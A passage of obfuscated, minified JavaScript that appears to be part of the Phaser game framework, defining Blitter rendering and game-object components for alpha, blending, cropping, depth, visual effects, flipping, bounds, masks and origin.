Math['round'](_0x66491), _0x3f6abe = Math['round'](_0x3f6abe)), _0x418c3c['width'] > 0x0 && _0x418c3c['height'] > 0x0 && _0x4213f3['drawImage'](_0x66a093['source']['image'], _0x418c3c['x'], _0x418c3c['y'], _0x418c3c['width'], _0x418c3c['height'], _0x66491 + _0xca1cba['x'] + _0x2021d6, _0x3f6abe + _0xca1cba['y'] + _0x158358, _0x418c3c['width'], _0x418c3c['height']))); } _0x4213f3['restore'](); } } }; }, 0x24bb: (_0x1d9a7f, _0x2f10fb, _0x277500) => { var _0x1e4ce0 = _0x277500(0x17db), _0x238295 = _0x277500(0x62d9), _0x4886c1 = _0x277500(0xae3b), _0x4921ac = _0x277500(0x5c10); _0x4886c1['register']('blitter', function (_0x425b35, _0x5ba176) { void 0x0 === _0x425b35 && (_0x425b35 = {}); var _0x3d8008 = _0x4921ac(_0x425b35, 'key', null), _0x55f960 = _0x4921ac(_0x425b35, 'frame', null), _0x1e969c = new _0x1e4ce0(this['scene'], 0x0, 0x0, _0x3d8008, _0x55f960); return void 0x0 !== _0x5ba176 && (_0x425b35['add'] = _0x5ba176), _0x238295(this['scene'], _0x1e969c, _0x425b35), _0x1e969c; }); }, 0x31a5: (_0x17dd7d, _0x22ebcc, _0x39e5fb) => { var _0x2b3f91 = _0x39e5fb(0x17db); _0x39e5fb(0x9a05)['register']('blitter', function (_0x4fb30f, _0x4b5431, _0x25a8f5, _0x2a3f2a) { return this['displayList']['add'](new _0x2b3f91(this['scene'], _0x4fb30f, _0x4b5431, _0x25a8f5, _0x2a3f2a)); }); }, 0xbb8b: (_0x37cc5f, _0x357c45, _0x3db50c) => { var _0x57c96f = _0x3db50c(0x7433), _0x1b4a8f = _0x57c96f, _0x2ac7a9 = _0x57c96f; _0x1b4a8f = _0x3db50c(0x1849d), _0x2ac7a9 = _0x3db50c(0x11acc), _0x37cc5f['exports'] = { 'renderWebGL': _0x1b4a8f, 'renderCanvas': _0x2ac7a9 }; }, 0x1849d: (_0xc053ac, _0x220e03, _0x158268) => { var _0x31f3e2 = _0x158268(0xef9c), _0x4ba991 = _0x158268(0x1139a), _0x40337c = new _0x31f3e2(); _0xc053ac['exports'] = function (_0x323f8e, _0x3a35a3, _0x4fc6bf, _0x31713a) { var _0x230647 = _0x3a35a3['getRenderList'](), _0x19c083 = _0x4fc6bf['alpha'] * _0x3a35a3['alpha']; if (0x0 !== _0x230647['length'] && 0x0 !== _0x19c083) { _0x4fc6bf['addToRenderList'](_0x3a35a3); var _0x3f2412 = _0x323f8e['pipelines']['set'](this['pipeline'], _0x3a35a3), _0x11f06f = _0x4fc6bf['scrollX'] * _0x3a35a3['scrollFactorX'], _0x21dc24 = _0x4fc6bf['scrollY'] * _0x3a35a3['scrollFactorY'], _0xe3121b = _0x40337c['copyFrom'](_0x4fc6bf['matrix']); _0x31713a && (_0xe3121b['multiplyWithOffset'](_0x31713a, -_0x11f06f, -_0x21dc24), _0x11f06f = 0x0, _0x21dc24 = 0x0); var _0x257a19 = _0x3a35a3['x'] - _0x11f06f, _0x95f54a = _0x3a35a3['y'] - _0x21dc24, _0x5932fc = -0x1, _0x371b96 = _0x4fc6bf['roundPixels']; _0x323f8e['pipelines']['preBatch'](_0x3a35a3); for (var _0x3914dc = 0x0; _0x3914dc < _0x230647['length']; _0x3914dc++) { var _0x1e8744 = _0x230647[_0x3914dc], _0x1a84e0 = _0x1e8744['frame'], _0x4c3666 = _0x1e8744['alpha'] * _0x19c083; if (0x0 !== _0x4c3666) { var _0x28be3d = _0x1a84e0['width'], _0x45d61f = _0x1a84e0['height'], _0x1c9696 = _0x257a19 + _0x1e8744['x'] + _0x1a84e0['x'], _0xd6f6c9 = _0x95f54a + _0x1e8744['y'] + _0x1a84e0['y']; _0x1e8744['flipX'] && (_0x28be3d *= -0x1, _0x1c9696 += _0x1a84e0['width']), _0x1e8744['flipY'] && (_0x45d61f *= -0x1, _0xd6f6c9 += _0x1a84e0['height']); var _0xf36f70 = _0xe3121b['setQuad'](_0x1c9696, _0xd6f6c9, _0x1c9696 + _0x28be3d, _0xd6f6c9 + _0x45d61f, _0x371b96), _0x4a3ab7 = _0x4ba991['getTintAppendFloatAlpha'](_0x1e8744['tint'], _0x4c3666); if (_0x1a84e0['sourceIndex'] !== _0x5932fc) { var _0x3c57c5 = _0x3f2412['setGameObject'](_0x3a35a3, _0x1a84e0); _0x5932fc = _0x1a84e0['sourceIndex']; } _0x3f2412['batchQuad'](_0x3a35a3, _0xf36f70[0x0], _0xf36f70[0x1], _0xf36f70[0x2], _0xf36f70[0x3], _0xf36f70[0x4], _0xf36f70[0x5], _0xf36f70[0x6], _0xf36f70[0x7], _0x1a84e0['u0'], _0x1a84e0['v0'], _0x1a84e0['u1'], _0x1a84e0['v1'], _0x4a3ab7, _0x4a3ab7, _0x4a3ab7, _0x4a3ab7, !0x1, _0x1a84e0['glTexture'], _0x3c57c5) && (_0x5932fc = -0x1); } } _0x323f8e['pipelines']['postBatch'](_0x3a35a3); } }; }, 0xb5fe: (_0x4e74d6, _0x2c94ce, _0x19b7b2) => { var _0x9cf601 = _0x19b7b2(0x145db), _0x375dfe = _0x19b7b2(0x10e7), _0x4740f8 = new _0x9cf601({ 'initialize': function (_0x3d0bb6, _0x19e869, _0x1d99c1, _0x396c74, _0x3e2f33) { this['parent'] = _0x3d0bb6, this['x'] = _0x19e869, this['y'] = _0x1d99c1, this['frame'] = _0x396c74, this['data'] = {}, this['tint'] = 0xffffff, this['_visible'] = _0x3e2f33, this['_alpha'] = 0x1, this['flipX'] = !0x1, this['flipY'] = !0x1, this['hasTransformComponent'] = !0x0; }, 'setFrame': function (_0x510f69) { return void 0x0 === _0x510f69 ? this['frame'] = this['parent']['frame'] : _0x510f69 instanceof _0x375dfe && _0x510f69['texture'] === this['parent']['texture'] ? this['frame'] = _0x510f69 : this['frame'] = this['parent']['texture']['get'](_0x510f69), this; }, 'resetFlip': function () { return this['flipX'] = !0x1, this['flipY'] = !0x1, this; }, 'reset': function (_0x2a55b0, _0x2bb990, _0x534a00) { return this['x'] = _0x2a55b0, this['y'] = _0x2bb990, this['flipX'] = !0x1, this['flipY'] = !0x1, this['_alpha'] = 0x1, this['_visible'] = !0x0, this['parent']['dirty'] = !0x0, _0x534a00 && this['setFrame'](_0x534a00), this; }, 'setPosition': function (_0x3ce6fb, _0x1692ed) { return this['x'] = _0x3ce6fb, this['y'] = _0x1692ed, this; }, 'setFlipX': function (_0x1f8d9e) { return this['flipX'] = _0x1f8d9e, this; }, 'setFlipY': function (_0x918c10) { return this['flipY'] = _0x918c10, this; }, 'setFlip': function (_0xde2a13, _0x4e16e1) { return this['flipX'] = _0xde2a13, this['flipY'] = _0x4e16e1, this; }, 'setVisible': function (_0x2d1c76) { return this['visible'] = _0x2d1c76, this; }, 'setAlpha': function (_0x5bfeea) { return this['alpha'] = _0x5bfeea, this; }, 'setTint': function (_0x50037f) { return this['tint'] = _0x50037f, this; }, 'destroy': function () { this['parent']['dirty'] = !0x0, this['parent']['children']['remove'](this), this['parent'] = void 0x0, this['frame'] = void 0x0, this['data'] = void 0x0; }, 'visible': { 'get': function () { return this['_visible']; }, 'set': function (_0x5d4a0e) { this['parent']['dirty'] |= this['_visible'] !== _0x5d4a0e, this['_visible'] = _0x5d4a0e; } }, 'alpha': { 'get': function () { return this['_alpha']; }, 'set': function (_0x218f24) { this['parent']['dirty'] |= this['_alpha'] > 0x0 != _0x218f24 > 0x0, this['_alpha'] = _0x218f24; } } }); _0x4e74d6['exports'] = _0x4740f8; }, 0x3e85: (_0x3f8855, _0xc6e100, _0x17eef7) => { var _0x757330 = _0x17eef7(0xb107), _0x158886 = { '_alpha': 0x1, '_alphaTL': 0x1, '_alphaTR': 0x1, '_alphaBL': 0x1, '_alphaBR': 0x1, 'clearAlpha': function () { return this['setAlpha'](0x1); }, 'setAlpha': function (_0x1a01cb, _0x3e979c, _0x33ca86, _0x38e713) { return void 0x0 === _0x1a01cb && (_0x1a01cb = 0x1), void 0x0 === _0x3e979c ? this['alpha'] = _0x1a01cb : (this['_alphaTL'] = _0x757330(_0x1a01cb, 0x0, 0x1), this['_alphaTR'] = _0x757330(_0x3e979c, 0x0, 0x1), this['_alphaBL'] = _0x757330(_0x33ca86, 0x0, 0x1), this['_alphaBR'] = _0x757330(_0x38e713, 0x0, 0x1)), this; }, 'alpha': { 'get': function () { return this['_alpha']; }, 'set': function (_0x83dc7) { var _0x708770 = _0x757330(_0x83dc7, 0x0, 0x1); this['_alpha'] = _0x708770, this['_alphaTL'] = _0x708770, this['_alphaTR'] = _0x708770, this['_alphaBL'] = _0x708770, this['_alphaBR'] = _0x708770, 0x0 === _0x708770 ? this['renderFlags'] &= -0x3 : this['renderFlags'] |= 0x2; } }, 'alphaTopLeft': { 'get': function () { return this['_alphaTL']; }, 'set': function (_0x2a6484) { var _0x2b8463 = _0x757330(_0x2a6484, 0x0, 0x1); this['_alphaTL'] = _0x2b8463, 0x0 !== _0x2b8463 && (this['renderFlags'] |= 0x2); } }, 'alphaTopRight': { 'get': function () { return this['_alphaTR']; }, 'set': function (_0x6b335b) { var _0xe08651 = _0x757330(_0x6b335b, 0x0, 0x1); this['_alphaTR'] = _0xe08651, 0x0 !== _0xe08651 && (this['renderFlags'] |= 0x2); } }, 'alphaBottomLeft': { 'get': function () { return this['_alphaBL']; }, 'set': function (_0x1ca9e3) { var _0x1ee8d8 = _0x757330(_0x1ca9e3, 0x0, 0x1); this['_alphaBL'] = _0x1ee8d8, 0x0 !== _0x1ee8d8 && (this['renderFlags'] |= 0x2); } }, 'alphaBottomRight': { 'get': function () { return this['_alphaBR']; }, 'set': function (_0x4282c1) { var _0x1a5569 = _0x757330(_0x4282c1, 0x0, 0x1); this['_alphaBR'] = _0x1a5569, 0x0 !== _0x1a5569 && (this['renderFlags'] |= 0x2); } } }; _0x3f8855['exports'] = _0x158886; }, 0x159bd: (_0x205955, _0x4095e1, _0xfefc3a) => { var _0x5f0fd7 = _0xfefc3a(0xb107), _0x1a4018 = { '_alpha': 0x1, 'clearAlpha': function () { return this['setAlpha'](0x1); }, 'setAlpha': function (_0x480b11) { return void 0x0 === _0x480b11 && (_0x480b11 = 0x1), this['alpha'] = _0x480b11, this; }, 'alpha': { 'get': function () { return this['_alpha']; }, 'set': function (_0xd2efec) { var _0x3f0037 = _0x5f0fd7(_0xd2efec, 0x0, 0x1); this['_alpha'] = _0x3f0037, 0x0 === _0x3f0037 ? this['renderFlags'] &= -0x3 : this['renderFlags'] |= 0x2; } } }; _0x205955['exports'] = _0x1a4018; }, 0x15fd1: (_0x29e414, _0x46d5b7, _0x38b3b5) => { var _0x38413f = _0x38b3b5(0x2848), _0x1e659d = { '_blendMode': _0x38413f['NORMAL'], 'blendMode': { 'get': function () { return this['_blendMode']; }, 'set': function (_0x2efa28) { 'string' == typeof _0x2efa28 && (_0x2efa28 = _0x38413f[_0x2efa28]), (_0x2efa28 |= 0x0) >= -0x1 && (this['_blendMode'] = _0x2efa28); } }, 'setBlendMode': function (_0x26d00d) { return this['blendMode'] = _0x26d00d, this; } }; _0x29e414['exports'] = _0x1e659d; }, 0x17007: _0x34954b => { _0x34954b['exports'] = { 'width': 0x0, 'height': 0x0, 'displayWidth': { 'get': function () { return this['scaleX'] * this['width']; }, 'set': function (_0x4dabd4) { this['scaleX'] = _0x4dabd4 / this['width']; } }, 'displayHeight': { 'get': function () { return this['scaleY'] * this['height']; }, 'set': function (_0x23ec65) { this['scaleY'] = _0x23ec65 / this['height']; } }, 'setSize': function (_0x42b4fe, _0x4c474b) { return this['width'] = _0x42b4fe, this['height'] = _0x4c474b, this; }, 'setDisplaySize': function (_0x1e8c1a, _0x5d8b15) { return this['displayWidth'] = _0x1e8c1a, this['displayHeight'] = _0x5d8b15, this; } }; }, 0xf0f3: _0x70326e => { var _0x261cc7 = { 'texture': null, 'frame': null, 'isCropped': !0x1, 'setCrop': function (_0x5ac889, _0x310379, _0x46e372, _0x59ee11) { if (void 0x0 === _0x5ac889) this['isCropped'] = !0x1; else { if (this['frame']) { if ('number' == typeof _0x5ac889) this['frame']['setCropUVs'](this['_crop'], _0x5ac889, _0x310379, _0x46e372, _0x59ee11, this['flipX'], this['flipY']); else { var _0x591c03 = _0x5ac889; this['frame']['setCropUVs'](this['_crop'], _0x591c03['x'], _0x591c03['y'], _0x591c03['width'], _0x591c03['height'], this['flipX'], this['flipY']); } this['isCropped'] = !0x0; } } return this; }, 'resetCropObject': function () { return { 'u0': 0x0, 'v0': 0x0, 'u1': 0x0, 'v1': 0x0, 'width': 0x0, 'height': 0x0, 'x': 0x0, 'y': 0x0, 'flipX': !0x1, 'flipY': !0x1, 'cx': 0x0, 'cy': 0x0, 'cw': 0x0, 'ch': 0x0 }; } }; _0x70326e['exports'] = _0x261cc7; }, 0x15cb8: (_0x1b6be6, _0x1467a2, _0x24fc46) => { var _0x221de5 = _0x24fc46(0x90f1), _0x22636e = { '_depth': 0x0, 'depth': { 'get': function () { return this['_depth']; }, 'set': function (_0x53d124) { this['displayList'] && this['displayList']['queueDepthSort'](), this['_depth'] = _0x53d124; } }, 'setDepth': function (_0x461947) { return void 0x0 === _0x461947 && (_0x461947 = 0x0), this['depth'] = _0x461947, this; }, 'setToTop': function () { var _0x4d507e = this['getDisplayList'](); return _0x4d507e && _0x221de5['BringToTop'](_0x4d507e, this), this; }, 'setToBack': function () { var _0x35df68 = this['getDisplayList'](); return _0x35df68 && _0x221de5['SendToBack'](_0x35df68, this), this; }, 'setAbove': function (_0x50dfeb) { var _0x25c14a = this['getDisplayList'](); return _0x25c14a && _0x50dfeb && _0x221de5['MoveAbove'](_0x25c14a, this, _0x50dfeb), this; }, 'setBelow': function (_0x5dc80e) { var _0x3ad778 = this['getDisplayList'](); return _0x3ad778 && _0x5dc80e && _0x221de5['MoveBelow'](_0x3ad778, this, _0x5dc80e), this; } }; _0x1b6be6['exports'] = _0x22636e; }, 0xb7d3: (_0x5945d4, _0x132264, _0x3b4be6) => { var _0xdb1b34 = _0x3b4be6(0x145db), _0x19bc7b = _0x3b4be6(0x10210), _0x737513 = _0x3b4be6(0x4abd), _0x1c2c9d = new _0xdb1b34({ 'initialize': function (_0x12a60f, _0x4837ee) { this['gameObject'] = _0x12a60f, this['isPost'] = _0x4837ee, this['enabled'] = !0x1, this['list'] = [], this['padding'] = 0x0; }, 'setPadding': function (_0x3ccc9d) { return void 0x0 === _0x3ccc9d && (_0x3ccc9d = 0x0), this['padding'] = _0x3ccc9d, this['gameObject']; }, 'onFXCopy': function () { }, 'onFX': function () { }, 'enable': function (_0x5f1ac6) { if (!this['isPost']) { var _0x59b5d9 = this['gameObject']['scene']['sys']['renderer']; _0x59b5d9 && _0x59b5d9['pipelines'] ? (this['gameObject']['pipeline'] = _0x59b5d9['pipelines']['FX_PIPELINE'], void 0x0 !== _0x5f1ac6 && (this['padding'] = _0x5f1ac6), this['enabled'] = !0x0) : this['enabled'] = !0x1; } }, 'clear': function () { if (this['isPost']) this['gameObject']['resetPostPipeline'](!0x0); else { for (var _0x54cd5b = this['list'], _0x326475 = 0x0; _0x326475 < _0x54cd5b['length']; _0x326475++)_0x54cd5b[_0x326475]['destroy'](); this['list'] = []; } return this['enabled'] = !0x1, this['gameObject']; }, 'remove': function (_0x2732a0) { var _0x428c35; if (this['isPost']) { var _0x1fc1ab = this['gameObject']['getPostPipeline'](String(_0x2732a0['type'])); for (Array['isArray'](_0x1fc1ab) || (_0x1fc1ab = [_0x1fc1ab]), _0x428c35 = 0x0; _0x428c35 < _0x1fc1ab['length']; _0x428c35++) { var _0x8756ae = _0x1fc1ab[_0x428c35]; if (_0x8756ae['controller'] === _0x2732a0) { this['gameObject']['removePostPipeline'](_0x8756ae), _0x2732a0['destroy'](); break; } } } else { var _0x5e463e = this['list']; for (_0x428c35 = 0x0; _0x428c35 < _0x5e463e['length']; _0x428c35++)_0x5e463e[_0x428c35] === _0x2732a0 && (_0x737513(_0x5e463e, _0x428c35), _0x2732a0['destroy']()); } return this['gameObject']; }, 'disable': function (_0x2d7bfe) { return void 0x0 === _0x2d7bfe && (_0x2d7bfe = !0x1), this['isPost'] || this['gameObject']['resetPipeline'](), this['enabled'] = !0x1, _0x2d7bfe && this['clear'](), this['gameObject']; }, 'add': function (_0x4565e0, _0x5f4899) { if (!this['isPost']) return this['enabled'] || this['enable'](), this['list']['push'](_0x4565e0), _0x4565e0; var _0x1adb54 = String(_0x4565e0['type']); this['gameObject']['setPostPipeline'](_0x1adb54, _0x5f4899); var _0x3ea9d7 = this['gameObject']['getPostPipeline'](_0x1adb54); return _0x3ea9d7 ? (Array['isArray'](_0x3ea9d7) && (_0x3ea9d7 = _0x3ea9d7['pop']()), _0x3ea9d7 && (_0x3ea9d7['controller'] = _0x4565e0), _0x4565e0) : void 0x0; }, 'addGlow': function (_0x3eb4cc, _0x8148a0, _0x31cc89, _0x503d2a, _0x71fc84, _0x23ca1e) { return this['add'](new _0x19bc7b['Glow'](this['gameObject'], _0x3eb4cc, _0x8148a0, _0x31cc89, _0x503d2a), { 'quality': _0x71fc84, 'distance': _0x23ca1e }); }, 'addShadow': function (_0x318666, _0x2565ab, _0x456b83, _0x1ec686, _0x397bfa, _0x28d080, _0x410103) { return this['add'](new _0x19bc7b['Shadow'](this['gameObject'], _0x318666, _0x2565ab, _0x456b83, _0x1ec686, _0x397bfa, _0x28d080, _0x410103)); }, 'addPixelate': function (_0x3f06d6) { return this['add'](new _0x19bc7b['Pixelate'](this['gameObject'], _0x3f06d6)); }, 'addVignette': function (_0x34cd32, _0x2a8770, _0x4b5489, _0x320378) { return this['add'](new _0x19bc7b['Vignette'](this['gameObject'], _0x34cd32, _0x2a8770, _0x4b5489, _0x320378)); }, 'addShine': function (_0x174123, _0x332bfa, _0x5352d7, _0x182bef) { return this['add'](new _0x19bc7b['Shine'](this['gameObject'], _0x174123, _0x332bfa, _0x5352d7, _0x182bef)); }, 'addBlur': function (_0x322da3, _0x2cd5b9, _0x580037, _0x515acd, _0x1102a7, _0x21376c) { return this['add'](new _0x19bc7b['Blur'](this['gameObject'], _0x322da3, _0x2cd5b9, _0x580037, _0x515acd, _0x1102a7, _0x21376c)); }, 'addGradient': function (_0x530780, _0x50c8fc, _0x3a0fa4, _0x53431b, _0xd7b089, _0x694458, _0x2860b9, _0x4a45d2) { return this['add'](new _0x19bc7b['Gradient'](this['gameObject'], _0x530780, _0x50c8fc, _0x3a0fa4, _0x53431b, _0xd7b089, _0x694458, _0x2860b9, _0x4a45d2)); }, 'addBloom': function (_0x2ac646, _0x534746, _0x2bc5fb, _0x20f1fd, _0x19f918, _0x18fdf6) { return this['add'](new _0x19bc7b['Bloom'](this['gameObject'], _0x2ac646, _0x534746, _0x2bc5fb, _0x20f1fd, _0x19f918, _0x18fdf6)); }, 'addColorMatrix': function () { return this['add'](new _0x19bc7b['ColorMatrix'](this['gameObject'])); }, 'addCircle': function (_0x56b5a2, _0x1f45ad, _0x4ff92a, _0x588521, _0x422c29) { return this['add'](new _0x19bc7b['Circle'](this['gameObject'], _0x56b5a2, _0x1f45ad, _0x4ff92a, _0x588521, _0x422c29)); }, 'addBarrel': function (_0x5c4b6d) { return this['add'](new _0x19bc7b['Barrel'](this['gameObject'], _0x5c4b6d)); }, 'addDisplacement': function (_0x25c748, _0x42bf28, _0x4f1a08) { return this['add'](new _0x19bc7b['Displacement'](this['gameObject'], _0x25c748, _0x42bf28, _0x4f1a08)); }, 'addWipe': function (_0x4cac6f, _0x3af67b, _0x32a7c3) { return this['add'](new _0x19bc7b['Wipe'](this['gameObject'], _0x4cac6f, _0x3af67b, _0x32a7c3)); }, 'addReveal': function (_0x56b3d7, _0x5a8ada, _0x154a4b) { return this['add'](new _0x19bc7b['Wipe'](this['gameObject'], _0x56b3d7, _0x5a8ada, _0x154a4b, !0x0)); }, 'addBokeh': function (_0x3f3c21, _0x299ba9, _0x1f5132) { return this['add'](new _0x19bc7b['Bokeh'](this['gameObject'], _0x3f3c21, _0x299ba9, _0x1f5132)); }, 'addTiltShift': function (_0x24bc47, _0x6d4d4f, _0x36a3e2, _0x20b037, _0x3579d2, _0x146937) { return this['add'](new _0x19bc7b['Bokeh'](this['gameObject'], _0x24bc47, _0x6d4d4f, _0x36a3e2, !0x0, _0x20b037, _0x3579d2, _0x146937)); }, 'destroy': function () { this['clear'](), this['gameObject'] = null; } }); _0x5945d4['exports'] = _0x1c2c9d; }, 0xd4a2: _0x3853e5 => { _0x3853e5['exports'] = { 'flipX': !0x1, 'flipY': !0x1, 'toggleFlipX': function () { return this['flipX'] = !this['flipX'], this; }, 'toggleFlipY': function () { return this['flipY'] = !this['flipY'], this; }, 'setFlipX': function (_0xd5bd60) { return this['flipX'] = _0xd5bd60, this; }, 'setFlipY': function (_0x45a14e) { return this['flipY'] = _0x45a14e, this; }, 'setFlip': function (_0xe5e6eb, _0x230e35) { return this['flipX'] = _0xe5e6eb, this['flipY'] = _0x230e35, this; }, 'resetFlip': function () { return this['flipX'] = !0x1, this['flipY'] = !0x1, this; } }; }, 0x1f44: (_0x1d4159, _0x304a96, _0x55643c) => { var _0x3efb3a = _0x55643c(0x15721), _0x35ce7c = _0x55643c(0x2d00), _0x5ef6c3 = _0x55643c(0x65f3), _0x466777 = { 'prepareBoundsOutput': function (_0xcf921f, _0x228301) { return void 0x0 === _0x228301 && (_0x228301 = !0x1), 0x0 !== this['rotation'] && _0x35ce7c(_0xcf921f, this['x'], this['y'], this['rotation']), _0x228301 && this['parentContainer'] && this['parentContainer']['getBoundsTransformMatrix']()['transformPoint'](_0xcf921f['x'], _0xcf921f['y'], _0xcf921f), _0xcf921f; }, 'getCenter': function (_0x398c83, _0x26a71d) { return void 0x0 === _0x398c83 && (_0x398c83 = new _0x5ef6c3()), _0x398c83['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'] / 0x2, _0x398c83['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'] / 0x2, this['prepareBoundsOutput'](_0x398c83, _0x26a71d); }, 'getTopLeft': function (_0x6e2de6, _0x2d470a) { return _0x6e2de6 || (_0x6e2de6 = new _0x5ef6c3()), _0x6e2de6['x'] = this['x'] - this['displayWidth'] * this['originX'], _0x6e2de6['y'] = this['y'] - this['displayHeight'] * this['originY'], this['prepareBoundsOutput'](_0x6e2de6, _0x2d470a); }, 'getTopCenter': function (_0x1cd947, _0x38d09f) { return _0x1cd947 || (_0x1cd947 = new _0x5ef6c3()), _0x1cd947['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'] / 0x2, _0x1cd947['y'] = this['y'] - this['displayHeight'] * this['originY'], this['prepareBoundsOutput'](_0x1cd947, _0x38d09f); }, 'getTopRight': function (_0x1c5301, _0x29fe79) { return _0x1c5301 || (_0x1c5301 = new _0x5ef6c3()), _0x1c5301['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'], _0x1c5301['y'] = this['y'] - this['displayHeight'] * this['originY'], this['prepareBoundsOutput'](_0x1c5301, _0x29fe79); }, 'getLeftCenter': function (_0x56b2d7, _0x21d068) { return _0x56b2d7 || (_0x56b2d7 = new _0x5ef6c3()), _0x56b2d7['x'] = this['x'] - this['displayWidth'] * this['originX'], _0x56b2d7['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'] / 0x2, this['prepareBoundsOutput'](_0x56b2d7, _0x21d068); }, 'getRightCenter': function (_0x58edd3, _0x20d8f2) { return _0x58edd3 || (_0x58edd3 = new _0x5ef6c3()), _0x58edd3['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'], _0x58edd3['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'] / 0x2, this['prepareBoundsOutput'](_0x58edd3, _0x20d8f2); }, 'getBottomLeft': function (_0x5f41c6, _0x3e0717) { return _0x5f41c6 || (_0x5f41c6 = new _0x5ef6c3()), _0x5f41c6['x'] = this['x'] - this['displayWidth'] * this['originX'], _0x5f41c6['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'], this['prepareBoundsOutput'](_0x5f41c6, _0x3e0717); }, 'getBottomCenter': function (_0x408c95, _0x5280c0) { return _0x408c95 || (_0x408c95 = new _0x5ef6c3()), _0x408c95['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'] / 0x2, _0x408c95['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'], this['prepareBoundsOutput'](_0x408c95, _0x5280c0); }, 'getBottomRight': function (_0x4d0eb8, _0x2170fd) { return _0x4d0eb8 || (_0x4d0eb8 = new _0x5ef6c3()), _0x4d0eb8['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'], _0x4d0eb8['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'], this['prepareBoundsOutput'](_0x4d0eb8, _0x2170fd); }, 'getBounds': function (_0x4be92e) { var _0x4777a, _0x4468cd, _0x19dd38, _0x551ae2, _0x502943, _0x17717e, _0x2c4999, _0x257a95; if (void 0x0 === _0x4be92e && (_0x4be92e = new _0x3efb3a()), this['parentContainer']) { var _0x5a9c57 = this['parentContainer']['getBoundsTransformMatrix'](); this['getTopLeft'](_0x4be92e), _0x5a9c57['transformPoint'](_0x4be92e['x'], _0x4be92e['y'], _0x4be92e), _0x4777a = _0x4be92e['x'], _0x4468cd = _0x4be92e['y'], this['getTopRight'](_0x4be92e), _0x5a9c57['transformPoint'](_0x4be92e['x'], _0x4be92e['y'], _0x4be92e), _0x19dd38 = _0x4be92e['x'], _0x551ae2 = _0x4be92e['y'], this['getBottomLeft'](_0x4be92e), _0x5a9c57['transformPoint'](_0x4be92e['x'], _0x4be92e['y'], _0x4be92e), _0x502943 = _0x4be92e['x'], _0x17717e = _0x4be92e['y'], this['getBottomRight'](_0x4be92e), _0x5a9c57['transformPoint'](_0x4be92e['x'], _0x4be92e['y'], _0x4be92e), _0x2c4999 = _0x4be92e['x'], _0x257a95 = _0x4be92e['y']; } else this['getTopLeft'](_0x4be92e), _0x4777a = _0x4be92e['x'], _0x4468cd = _0x4be92e['y'], this['getTopRight'](_0x4be92e), _0x19dd38 = _0x4be92e['x'], _0x551ae2 = _0x4be92e['y'], this['getBottomLeft'](_0x4be92e), _0x502943 = _0x4be92e['x'], _0x17717e = _0x4be92e['y'], this['getBottomRight'](_0x4be92e), _0x2c4999 = _0x4be92e['x'], _0x257a95 = _0x4be92e['y']; return _0x4be92e['x'] = Math['min'](_0x4777a, _0x19dd38, _0x502943, _0x2c4999), _0x4be92e['y'] = Math['min'](_0x4468cd, _0x551ae2, _0x17717e, _0x257a95), _0x4be92e['width'] = Math['max'](_0x4777a, _0x19dd38, _0x502943, _0x2c4999) - _0x4be92e['x'], _0x4be92e['height'] = Math['max'](_0x4468cd, _0x551ae2, _0x17717e, _0x257a95) - _0x4be92e['y'], _0x4be92e; } }; _0x1d4159['exports'] = _0x466777; }, 0x217d: (_0xd6a7c7, _0x5aab89, _0x4ed3d5) => { var _0x1400a8 = _0x4ed3d5(0x1aca), _0x42770a = _0x4ed3d5(0x13b15), _0x21d1a6 = { 'mask': null, 'setMask': function (_0x33a012) { return this['mask'] = _0x33a012, this; }, 'clearMask': function (_0x3647b5) { return void 0x0 === _0x3647b5 && (_0x3647b5 = !0x1), _0x3647b5 && this['mask'] && this['mask']['destroy'](), this['mask'] = null, this; }, 'createBitmapMask': function (_0x964581, _0x239980, _0x394bd3, _0x120354, _0x5b41be) { return void 0x0 === _0x964581 && (this['texture'] || this['shader'] || this['geom']) && (_0x964581 = this), new _0x1400a8(this['scene'], _0x964581, _0x239980, _0x394bd3, _0x120354, _0x5b41be); }, 'createGeometryMask': function (_0xe95316) { return void 0x0 !== _0xe95316 || 'Graphics' !== this['type'] && !this['geom'] || (_0xe95316 = this), new _0x42770a(this['scene'], _0xe95316); } }; _0xd6a7c7['exports'] = _0x21d1a6; }, 0x6afb: _0x1009e8 => { var _0x4adab1 = { '_originComponent': !0x0, 'originX': 0.5, 'originY': 0.5, '_displayOriginX': 0x0, '_displayOriginY': 0x0, 'displayOriginX': { 'get': function () { return this['_displayOriginX']; }, 'set': function (_0x2dffde) { this['_displayOriginX'] = _0x2dffde, this['originX'] = _0x2dffde / this['width']; } }, 'displayOriginY': { 'get': function () { return this['_displayOriginY']; }, 'set': function (_0x53147b) { this['_displayOriginY'] = _0x53147b, this['originY'] = _0x53147b / this['height']; } }, 'setOrigin': function (_0x35a32a, _0x2a19e2) { return void 0x0 === _0x35a32a && (_0x35a32a = 0.5), void 0x0 === _0x2a19e2 && (_0x2a19e2 = _0x35a32a), this['originX'] = _0x35a32a, this['originY'] = _0x2a19e2, this['updateDisplayOrigin'](); }, 'setOriginFromFrame': function () { return this['frame'] && this['frame']['customPivot'] ? (this['originX'] = this['frame']['pivotX'], this['originY'] = this['frame']['pivotY'], this['updateDisplayOrigin']()) : this['setOrigin'](); }, 'setDisplayOrigin': function (_0x187375, _0x1974a1) { return void 0x0 === _0x187375 && (_0x187375 = 0x0), void 0x0 === _0x1974a1 && (_0x1974a1 = _0x187375), this['displayOriginX'] = _0x187375, this['displayOriginY'] = _0x1974a1, this; }, 'updateDisplayOrigin': function () { return this['_displayOriginX'] = this['originX'] * this['width'], this['_displayOriginY'] = this['originY'] * this['height'], this; } }; _0x1009e8['exports'] = _0x4adab1; }, 0x9308: (_0x5ab7ed, _0x4349d1, _0x34c4ab) => { var _0x144e73 = _0x34c4ab(0x9a52), _0x33a9fb = _0x34c4ab(0xe00b), _0x13df63 = _0x34c4ab(0x8952), _0x25a062 = _0x34c4ab(0x15151), _0x2155a9 = _0x34c4ab(0x65f3), _0x3023f8 = { 'path': null, 